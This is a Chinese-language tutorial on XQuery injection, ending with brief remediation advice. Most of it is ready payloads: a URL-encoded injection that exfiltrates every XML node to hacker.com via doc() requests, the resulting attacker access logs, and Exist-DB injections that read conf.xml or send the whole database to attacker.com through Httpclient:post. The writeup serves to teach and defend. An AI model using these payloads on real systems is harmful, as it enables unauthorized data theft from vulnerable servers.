0x01 介绍
XQuery是XPath的超集,如果Xpath只是一个查询语言,XQuery是一个程序语言,可以声明自定义的功能、变量等等。类似XPath注入,XQuery注入在没有验证用户输入的情况下也会发生。一个程序使用用户名查询博客实体,后端使用XQuery查询XML数据。
1 查询实例
用户输入admin,在后台执行的查询为:
for $blogpost in//post[@author=’admin’]
return
<div>
<hr />
<h3>{$blogpost/title}</h3><br/>
<em>{$blogpost/content}</em>
<hr />
</div>
如果用户输入admin’] let $x :=/*[' ,注入后的查询结果为:
for $blogpost in//post[@author=’admin’]
let $x := /*[‘’]
return
<div>
<hr />
<h3>{$blogpost/title}</h3><br/>
<em>{$blogpost/content}</em>
<hr />
</div>
攻击者可以在let $x := /*[‘’]中插入任何想执行语句都会在循环中执行,它会通过所有当前执行文件中的元素循环发出一个GET请求到攻击者的服务器。
2 URL攻击
http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0Alet%20%24x%20%3A%3D%20/%2A%5B%27
上面的方法会重复的对攻击者的服务器发送请求,整个XML文档可以通过分析攻击者的服务器访问日志进行获取。
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
通过分析拼接的XML为:
<posts>
<postauthor="admin">
<title>Test</title>
<content>My firstblog post!</content>
</post>
<postauthor="admin">
<title>My blog isnow live!</title>
<content>Welcometo my blog! Please stay away hackers</content>
</post>
</posts>
3 Exist-DB
Exist-DB是一个本地XML数据库,允许应用程序使用不同的技术(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存储、查询和更新XML数据。区别于其他传统的数据库(定义自己的查询协议),Exist-DB使用基于HTTP的接口进行查询,如REST, XML-RPC, WebDAV 和SOAP。执行一个GET请求,返回一个XML的节点。还是之前用户博客的查询,假设现在使用的是Exist-DB,HTTP查询请求如下
http://www.vulnhost.com/viewposts?username=admin
后台XPath表达式
doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*
上面查询//posts[@author=’admin’]会返回所有admin的文章,Exist-DB是一个成熟的数据库并且在很好的支持XPath,如果username变量没有进行净化,攻击者可以获取根节点的内容:
http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1
这条语句会携带根节点发名字请求攻击者的服务器
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
or '1'= '1']")))/*[1]
攻击者可以使用上面的技术获得受害服务器的配置信息。
EXist-DB有一个可扩展的模块,它允许程序员用Java编写的模块创建新的XPath/XQuery函数。通过让邮件模块或其他SMTP服务器,I/O文件系统发送电子邮件。以及支持多种HTTP方法,利用LDAP客户端模块,或在在OracleRDBMS执行Oracle的PL/ SQL存储过程等等。这些模块功能强大,但通常这些模块在默认情况下是禁用的。
HTTP模块很有趣,因为它是两个非常强大的,默认情况下启用。攻击者可以简单地使用它来发送序列化根节点(整个文档)到攻击者的服务器,从而在一次操作中获取整个数据库。
http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1
在服务器后台的查询如下
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]
可以通过DOC功能使HTTP客户端发送任意的本地XML文件到攻击者的服务器
Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())
0x02 威胁影响
可能会访问存储在敏感数据资源中的信息,获得受害服务器的配置信息
0x03 修复思路
净化用户输入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()这些函数需要特别注意
使用参数化的查询,如Java的Xpath表达式
/root/element[@id=$ID]
限制doc()功能
欢迎大家分享更好的思路,热切期待^^_^^ !